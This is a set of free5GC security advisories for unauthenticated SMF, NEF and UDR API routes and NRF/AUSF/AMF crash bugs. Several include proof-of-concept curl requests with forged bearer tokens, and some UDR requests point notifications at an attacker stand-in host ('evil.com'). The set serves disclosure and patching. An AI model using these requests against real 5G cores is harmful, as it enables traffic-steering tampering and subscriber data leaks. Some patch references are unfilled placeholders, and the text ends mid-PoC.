Summary free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.
The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.
Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.0 - Docker validation date: 2026-03-13
Control comparison on the same SMF instance: - GET /upi/v1/upNodesLinks (no token) -> 200 OK - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized
This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.
Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76 - OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95 - UPI business handlers (read / write / delete on upNodesLinks): - NFs/smf/internal/sbi/apiupi.go:44 - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:84
PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. READ UP-nodes/links with NO Authorization header -> 200 OK: curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
2. WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK: curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
3. DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token'
4. CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized: curl -i http://10.100.200.6:8000/nsmf-oam/v1/
SMF container logs (docker logs smf) confirm the side-by-side behavior: [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.
Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.
The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197
Summary free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56 - Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/apipfdf.go:13 - Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/apipfdf.go:13 - GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19 - GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53 - POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83 - DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
1. Seed an AF context (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
2. Seed one PFD application entry (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
3. READ PFD collection with forged token -> 200 OK returns PFD data: curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
4. READ individual PFD with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
5. CREATE PFD subscription with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
6. DELETE PFD subscription with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes: [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.
The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary free5GC's NEF mounts the nnef-oam route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no Authorization header at all and the handler returns 200 OK. The current OAM handler is a stub that returns null, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated GETs with 200 OK.
Code evidence (paths in free5gc/nef): - OAM route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:60 - OAM route exposed at /: NFs/nef/internal/sbi/apioam.go:9 - OAM processor returns 200 OK directly: NFs/nef/internal/sbi/processor/oam.go:9 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153
PoC Reproduced against the running NEF at http://10.100.200.19:8000 with no Authorization header:
curl -i http://10.100.200.19:8000/nnef-oam/v1/
Observed output: HTTP/1.1 200 OK null
NEF container logs (docker logs nef) show the request being served while OAuth is enabled: [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns null, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default.
Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group.
Operators who assume OAuth2 setting receive from NRF: true enforces inbound auth on NEF are wrong for this route group.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23
free5gc v4.1.0 and before is vulnerable to Buffer Overflow. When AMF receives an UplinkRANConfigurationTransfer NGAP message from a gNB, the AMF process crashes.
Summary free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/apipfd.go:13 - Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
1. Seed an AF context (also accepted with forged token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
2. CREATE PFD transaction with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
3. READ -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
4. DELETE -> 204 No Content: curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
5. READ again -> 404 PFD transaction not found, confirming state was actually deleted.
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules.
The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc <=v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48 - CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/apiti.go:13 - POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50 - PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279 - DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.
1. CREATE subscription with NO Authorization header at all -> 201 Created: curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
2. CREATE second subscription with FORGED bearer token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
3. READ with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
4. PATCH with forged token -> 500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed): curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
5. DELETE with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence.
The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23
Impact This is an Improper Input Validation vulnerability leading to Denial of Service. - Security Impact: A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed group-id-list parameter. This results in complete denial of service for the NRF discovery service. - Functional Impact: The EncodeGroupId function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with "index out of range". - Affected Parties: All deployments of free5GC v4.0.1 using the NRF discovery service.
Patches Yes, the issue has been patched. The fix is implemented in PR free5gc/nrf#80 (commit: [add fix reference here]). Users should upgrade to the next release of free5GC that includes this commit.
Workarounds There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.
Impact This is an Improper Null Check vulnerability leading to Denial of Service. - Security Impact: A remote attacker can cause the AUSF service to panic and crash by sending a crafted UE authentication request that triggers a nil interface conversion in the GetSupiFromSuciSupiMap function. This results in complete denial of service for the AUSF authentication service. - Functional Impact: The GetSupiFromSuciSupiMap function attempts to perform an interface conversion from interface{} to context.SuciSupiMap without checking if the underlying value is nil. When SuciSupiMap is nil, the code panics with "interface conversion: interface {} is nil, not context.SuciSupiMap". - Affected Parties: All deployments of free5GC v4.0.1 using the AUSF UE authentication service (/nausf-auth/v1/ue-authentications endpoint).
Patches Yes, the issue has been patched. The fix is implemented in PR free5gc/ausf#52 (commit: [add specific commit hash if available]). Users should upgrade to the next release of free5GC that includes this commit.
Workarounds There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the AUSF API to trusted sources only.
Summary An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.gochecks whether influenceId != "subs-to-notify". 2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. 3. Execution continues, the request body is still parsed, and the handler calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub). 4. The processor creates or updates the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.
The missing return after sending the 404 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication is required. The attacker can choose an arbitrary subscriptionId.
bash curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \ -H "Content-Type: application/json" \ -d '{ "notificationUri":"http://evil.com", "dnns":["internet"], "supis":["imsi-999999999999999"] }'
Response: HTTP/1.1 404 Not Found 404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"} Now verify that the object was actually written:
bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid" Response: json {"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"} Impact This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.
This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.
The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:
go if influenceId != "subs-to-notify" { c.String(http.StatusNotFound, "404 page not found") return } With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.
Summary An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details The endpoint GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.go checks whether influenceId != "subs-to-notify". 2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. 3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId). 4. The processor retrieves and returns the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still obtain the full subscription object in the same HTTP response body.
The missing return after sending the 404 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication is required. Only a valid subscriptionId is needed.
bash Create a subscription to obtain a valid subscriptionId curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \ -H "Content-Type: application/json" \ -d '{ "notificationUri":"http://evil.com/notify", "dnns":["internet"], "snssais":[{"sst":1,"sd":"000001"}], "supis":["imsi-222777483957498"] }' Example response: HTTP/1.1 201 Created
Then read it through an invalid path: bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16" Response: HTTP/1.1 404 Not Found 404 page not found{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"} For comparison, the valid request is: bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16" Response: json {"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"} Impact This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.
The returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet: go if influenceId != "subs-to-notify" { c.String(http.StatusNotFound, "404 page not found") return } With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.
Summary An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details The endpoint DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.go checks whether influenceId != "subs-to-notify". 2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. 3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId). 4. The processor deletes the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully delete the target subscription.
The missing return after sending the 404 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication is required. Only a valid subscriptionId is needed.
bash Create a subscription to obtain a valid subscriptionId curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \ -H "Content-Type: application/json" \ -d '{ "notificationUri":"http://evil.com/notify", "dnns":["internet"], "supis":["imsi-222777483957498"] }' Example response: HTTP/1.1 201 Created
